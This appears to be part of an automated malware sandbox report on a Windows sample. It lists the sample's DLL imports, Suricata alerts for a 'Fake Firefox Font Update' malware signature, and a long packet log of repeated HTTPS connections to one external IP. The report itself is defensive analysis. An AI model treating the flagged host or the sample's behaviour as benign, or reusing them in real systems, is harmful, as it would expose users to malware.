Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExtTextOutA, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtectEx, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryExW, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T07:37:40.359466+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49701	176.123.5.143	443	TCP
2024-12-23T07:37:43.690393+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49704	176.123.5.143	443	TCP
2024-12-23T07:37:47.061424+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49711	176.123.5.143	443	TCP
2024-12-23T07:37:50.554677+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49723	176.123.5.143	443	TCP
2024-12-23T07:37:54.406026+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49735	176.123.5.143	443	TCP
2024-12-23T07:37:57.893612+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49744	176.123.5.143	443	TCP
2024-12-23T07:38:01.333205+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49756	176.123.5.143	443	TCP
2024-12-23T07:38:04.743917+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49763	176.123.5.143	443	TCP
2024-12-23T07:38:08.112094+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49775	176.123.5.143	443	TCP
2024-12-23T07:38:11.485345+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49786	176.123.5.143	443	TCP
2024-12-23T07:38:14.889619+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49794	176.123.5.143	443	TCP
2024-12-23T07:38:18.261307+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49805	176.123.5.143	443	TCP
2024-12-23T07:38:21.649788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49813	176.123.5.143	443	TCP
2024-12-23T07:38:25.149958+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49825	176.123.5.143	443	TCP
2024-12-23T07:38:28.698981+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49833	176.123.5.143	443	TCP
2024-12-23T07:38:32.191400+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49844	176.123.5.143	443	TCP
2024-12-23T07:38:35.587388+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49855	176.123.5.143	443	TCP
2024-12-23T07:38:38.998362+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49864	176.123.5.143	443	TCP
2024-12-23T07:38:42.500005+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49875	176.123.5.143	443	TCP
2024-12-23T07:38:46.128701+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49883	176.123.5.143	443	TCP
2024-12-23T07:38:49.522196+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49894	176.123.5.143	443	TCP
2024-12-23T07:38:52.969121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49904	176.123.5.143	443	TCP
2024-12-23T07:38:56.370320+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49913	176.123.5.143	443	TCP
2024-12-23T07:38:59.775032+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49924	176.123.5.143	443	TCP
2024-12-23T07:39:03.297310+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49932	176.123.5.143	443	TCP
2024-12-23T07:39:06.717185+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49944	176.123.5.143	443	TCP
2024-12-23T07:39:10.119202+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49951	176.123.5.143	443	TCP
2024-12-23T07:39:13.652984+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49963	176.123.5.143	443	TCP
2024-12-23T07:39:17.179009+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49973	176.123.5.143	443	TCP
2024-12-23T07:39:20.613727+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49982	176.123.5.143	443	TCP
2024-12-23T07:39:24.058034+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49994	176.123.5.143	443	TCP
2024-12-23T07:39:27.700295+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50001	176.123.5.143	443	TCP
2024-12-23T07:39:31.110620+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50012	176.123.5.143	443	TCP
2024-12-23T07:39:34.510112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50023	176.123.5.143	443	TCP
2024-12-23T07:39:38.189131+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50031	176.123.5.143	443	TCP
2024-12-23T07:39:41.818166+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50042	176.123.5.143	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:37:38.477811098 CET	49700	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:38.477869987 CET	443	49700	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:38.477945089 CET	49700	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:38.525310993 CET	49700	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:38.525412083 CET	443	49700	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:38.525511980 CET	49700	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:38.891555071 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:38.891613007 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:38.891689062 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:38.894292116 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:38.894305944 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:40.359385014 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:40.359466076 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:40.364554882 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:40.364573002 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:40.364917994 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:40.409612894 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:40.419544935 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:40.467333078 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.702220917 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.702244997 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.702254057 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.702266932 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.702286005 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.702341080 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.702421904 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.702467918 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.702491045 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.810453892 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.810488939 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.810556889 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.810590982 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.810638905 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.810659885 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.899900913 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.899920940 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.900027037 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.900075912 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.900139093 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.966953993 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.967030048 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.967044115 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.967089891 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.968036890 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.968055010 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:41.968107939 CET	49701	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:41.968113899 CET	443	49701	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:42.183553934 CET	49703	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:42.183655977 CET	443	49703	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:42.183778048 CET	49703	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:42.183911085 CET	49703	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:42.183999062 CET	443	49703	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:42.185833931 CET	49703	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:42.229074955 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:42.229121923 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:42.229212999 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:42.229542017 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:42.229561090 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:43.690294027 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:43.690392971 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:43.691996098 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:43.692018032 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:43.692256927 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:43.693552971 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:43.739341021 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.078344107 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.078381062 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.078401089 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.078459978 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.078474998 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.078505039 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.078528881 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.192966938 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.193011045 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.193109035 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.193134069 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.193157911 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.193188906 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.274445057 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.274477005 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.274661064 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.274682045 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.274758101 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.344948053 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.345048904 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.345096111 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.345122099 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.345382929 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.345401049 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.345427036 CET	49704	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.345432997 CET	443	49704	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.548414946 CET	49710	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.548460960 CET	443	49710	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.548587084 CET	49710	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.548717022 CET	49710	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.548830032 CET	443	49710	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.548990965 CET	49710	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.601684093 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.601731062 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:45.601839066 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.602116108 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:45.602129936 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:47.061327934 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:47.061424017 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:47.062736034 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:47.062748909 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:47.063064098 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:47.064277887 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:47.107326031 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.495307922 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.495357037 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.495377064 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.495467901 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.495496035 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.495565891 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.608656883 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.608706951 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.608844995 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.608876944 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.608932018 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.691715956 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.691751003 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.691871881 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.691900969 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.691956043 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.766021967 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.766102076 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.766124010 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.766145945 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.766204119 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.766423941 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.766446114 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:48.766460896 CET	49711	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:48.766469002 CET	443	49711	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:49.033857107 CET	49722	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:49.033922911 CET	443	49722	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:49.034006119 CET	49722	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:49.034198046 CET	49722	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:49.034254074 CET	443	49722	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:49.034312963 CET	49722	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:49.093740940 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:49.093796968 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:49.093883991 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:49.094423056 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:49.094439983 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:50.554600954 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:50.554677010 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:50.557179928 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:50.557189941 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:50.557511091 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:50.559272051 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:50.603322029 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.038594007 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.038650990 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.038683891 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.038719893 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.038743019 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.038774014 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.039237022 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.149441004 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.149481058 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.149538994 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.149557114 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.149607897 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.149650097 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.234515905 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.234554052 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.234697104 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.234697104 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.234721899 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.234766006 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.306843996 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.306927919 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.306953907 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.306982040 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.307029009 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.307641029 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.307657957 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.307672977 CET	49723	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.307679892 CET	443	49723	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.549004078 CET	49729	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.549062014 CET	443	49729	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.549153090 CET	49729	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.560111046 CET	49729	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.560168028 CET	443	49729	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.560226917 CET	49729	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.946989059 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.947058916 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:52.947129011 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.948242903 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:52.948261023 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:54.405914068 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:54.406025887 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:54.410959959 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:54.410990953 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:54.411267042 CET	443	49735	176.123.5.143	192.168.2.10
